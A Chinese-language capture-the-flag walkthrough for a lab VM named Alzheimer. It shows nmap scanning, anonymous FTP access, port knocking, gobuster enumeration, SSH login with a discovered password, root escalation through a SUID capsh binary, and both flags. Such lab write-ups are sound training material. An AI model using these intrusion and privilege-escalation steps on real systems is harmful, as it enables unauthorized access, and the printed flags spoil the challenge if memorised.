Alzheimer
Alzheimer
⏲️ Release Date // 2020-10-03
✔️ MD5 // 181b8e3df47b920d4c9fb00e9e019986
☠ Root // 240
💀 User // 246
主机探测和nmap扫描
┌──(root㉿kali)-[~]
└─# nmap -sn 192.168.56.100/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 08:40 EDT
Nmap scan report for 192.168.56.100
Host is up (0.00037s latency).
MAC Address: 08:00:27:01:69:57 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.116
Host is up (0.00015s latency).
MAC Address: 0A:00:27:00:00:1C (Unknown)
Nmap scan report for 192.168.56.122
Host is up (0.00062s latency).
MAC Address: 08:00:27:10:58:2B (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 11.20 seconds
靶机ip：192.168.56.122
进行TCP的全端口扫描
nmap -sT --min-rate 10000 -p- 192.168.56.122
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 08:43 EDT
Nmap scan report for 192.168.56.122
Host is up (0.014s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:10:58:2B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.88 seconds
开放21，22，80端口
进行详细端口的扫描
nmap -sT -sV -sC -O -p21,22,80 192.168.56.122
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.101
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp filtered ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b1:3b:2b:36:e5:6b:d7:2a:6d:ef:bf:da:0a:5d:2d:43 (RSA)
| 256 35:f1:70:ab:a3:66:f1:d6:d7:2c:f7:d1:24:7a:5f:2b (ECDSA)
|_ 256 be:15:fa:b6:81:d6:7f:ab:c8:1c:97:a5:ea:11:85:4e (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:10:58:2B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
21端口可以匿名登录，22端口是被过滤的状态
查看FTP服务
ftp 192.168.56.122
ftp> ls -lah
229 Entering Extended Passive Mode (|||47700|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 113 4096 Oct 03 2020 .
drwxr-xr-x 2 0 113 4096 Oct 03 2020 ..
-rw-r--r-- 1 0 0 116 May 25 07:14 .secretnote.txt
226 Directory send OK.
ftp> get .secretnote.txt
.secretnote.txt内容
I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!
Ihavebeenalwayshere!!!
靶机有knockd服务，我们需要knock指定端口开启ssh服务
knock 192.168.56.122 1000 2000 3000
nmap再次扫描发现22端口是开放状态
web渗透
访问web页面
I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa
得到一个用户名medusa
发现莫斯密码，解密得到OTHING(很可能是SSH服务的密码)
目录扫描
gobuster dir -u http://192.168.56.122/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 301) [Size: 185] [--> http://192.168.56.122/home/]
/admin (Status: 301) [Size: 185] [--> http://192.168.56.122/admin/]
/secret (Status: 301) [Size: 185] [--> http://192.168.56.122/secret/]
/home页面
Maybe my pass is at home! -medusa
/secret页面
Maybe my password is in this secret folder?
测试ssh是否可以登录，发现OTHING不是密码，想到上面的txt文件
发现Ihavebeenalwayshere!!!是密码
成功登录进medusa用户
HMVrespectmemories
尝试提权
发现可以无密码使用id命令
medusa@alzheimer:~$ sudo -l
Matching Defaults entries for medusa on alzheimer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User medusa may run the following commands on alzheimer:
(ALL) NOPASSWD: /bin/id
medusa@alzheimer:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
搜索了一下没有发现id可以怎么提权
suid提权
寻找有suid权限的文件
medusa@alzheimer:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/sbin/capsh
利用GTFOBins，找到capsh的提权方法
./capsh --gid=0 --uid=0 --
medusa@alzheimer:~$ /usr/sbin/capsh --gid=0 --uid=0 --
root@alzheimer:~# cd /root
root@alzheimer:/root# cat root.txt
HMVlovememories
拿到root.txt